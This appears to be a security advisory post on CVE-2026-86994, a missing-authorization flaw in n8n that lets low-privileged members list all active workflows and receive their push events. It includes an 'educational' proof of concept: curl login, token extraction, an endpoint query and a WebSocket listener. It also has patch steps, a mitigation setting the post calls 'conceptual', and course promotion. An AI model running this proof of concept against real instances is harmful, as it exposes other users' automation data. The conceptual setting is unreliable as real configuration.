Listen to this Post
CVE-2026-86994 is a missing authorization vulnerability in n8n, an open-source workflow automation platform. The vulnerability resides in the `/rest/active-workflows` endpoint, which, prior to the patched versions, failed to enforce a `userId` filter when returning active workflow data. This means any authenticated member of an n8n instance, regardless of their sharing permissions, could retrieve a complete list of every active workflow ID on that instance. The issue is classified as CWE-862 (Missing Authorization) and carries a CVSS 4.0 base score of 5.3, placing it in the moderate severity range. The root cause stems from the endpoint’s handler in `packages/cli/src/services/active-workflows.service.ts` not scoping its database query to the requesting user’s accessible workflows. Concurrently, the workflow push notifier service (packages/cli/src/workflows/workflow-push-notifier.service.ts) broadcast activation, deactivation, and publication events to all connected clients without verifying whether the receiving client had access to the affected workflow. This resulted in the disclosure of workflow IDs, version IDs, and even activation error details across user boundaries. An attacker with a low-privileged `global:member` account could exploit this to enumerate all active workflows on the instance, potentially identifying high-value targets or sensitive automation processes. The information gathered could aid further attacks, such as targeted social engineering or the identification of workflows handling sensitive data. The patch scopes both the listing endpoint and the push events through the sharing service, ensuring that a user only sees workflows they are authorized to access. The vulnerability was fixed in n8n versions 1.123.76, 2.37.7, and 2.38.2. Administrators are advised to upgrade to one of these versions or later to remediate the issue. As a temporary workaround, access to the n8n instance should be restricted to fully trusted users only, and the provisioning of `global:member` accounts for untrusted users should be avoided until the instance is patched. These workarounds do not fully remediate the risk and should only be considered short-term measures.
DailyCVE Form:
Platform: n8n
Version: <1.123.76, >=2.0.0 <2.37.7, >=2.38.0 <2.38.2
Vulnerability : Missing Authorization
Severity: Moderate
date: 2026-09-08
Prediction: 2026-09-20
What Undercode Say:
Analytics:
Check n8n version n8n --version Query the vulnerable endpoint (example with curl) curl -X GET "http://<n8n-instance>/rest/active-workflows" \ -H "Authorization: Bearer <member-token>" \ -H "Content-Type: application/json"
// Example of vulnerable code structure (conceptual)
// In active-workflows.service.ts
async getActiveWorkflows(userId) {
// Missing filter: WHERE userId = :userId
return this.repository.find({ where: { active: true } });
}
// In workflow-push-notifier.service.ts
broadcastEvent(event) {
// Missing check: only send to clients with access
this.clients.forEach(client => client.send(event));
}
Exploit: (Educational Purposes!)
1. Authenticate as a low-privileged member
curl -X POST "http://<n8n-instance>/rest/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password"}'
2. Extract the token from the response
TOKEN=$(curl -s -X POST "http://<n8n-instance>/rest/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password"}' | jq -r '.data.token')
3. Retrieve all active workflow IDs
curl -X GET "http://<n8n-instance>/rest/active-workflows" \
-H "Authorization: Bearer $TOKEN" | jq '.data'
4. Listen for push events (WebSocket example)
Connect to the WebSocket endpoint and log events
const ws = new WebSocket('ws://<n8n-instance>/rest/push');
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === 'workflowActivated' || data.type === 'workflowDeactivated') {
console.log('Disclosed event:', data);
}
};
Protection: from this CVE
Upgrade to a patched version npm install -g [email protected] or npm install -g [email protected] or npm install -g [email protected] For Docker users docker pull n8nio/n8n:1.123.76 docker pull n8nio/n8n:2.37.7 docker pull n8nio/n8n:2.38.2
Temporary mitigation: restrict access (docker-compose example) services: n8n: image: n8nio/n8n environment: - N8N_USER_MANAGEMENT_DISABLED=false - N8N_RESTRICT_GLOBAL_MEMBER=true conceptual setting ports: - "127.0.0.1:5678:5678" Only bind to localhost
Impact:
- Unauthorized disclosure of all active workflow IDs on the instance.
- Leakage of workflow version IDs and activation error details.
- Cross-user information leakage among all connected clients.
- Potential for targeted attacks based on enumerated workflow information.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

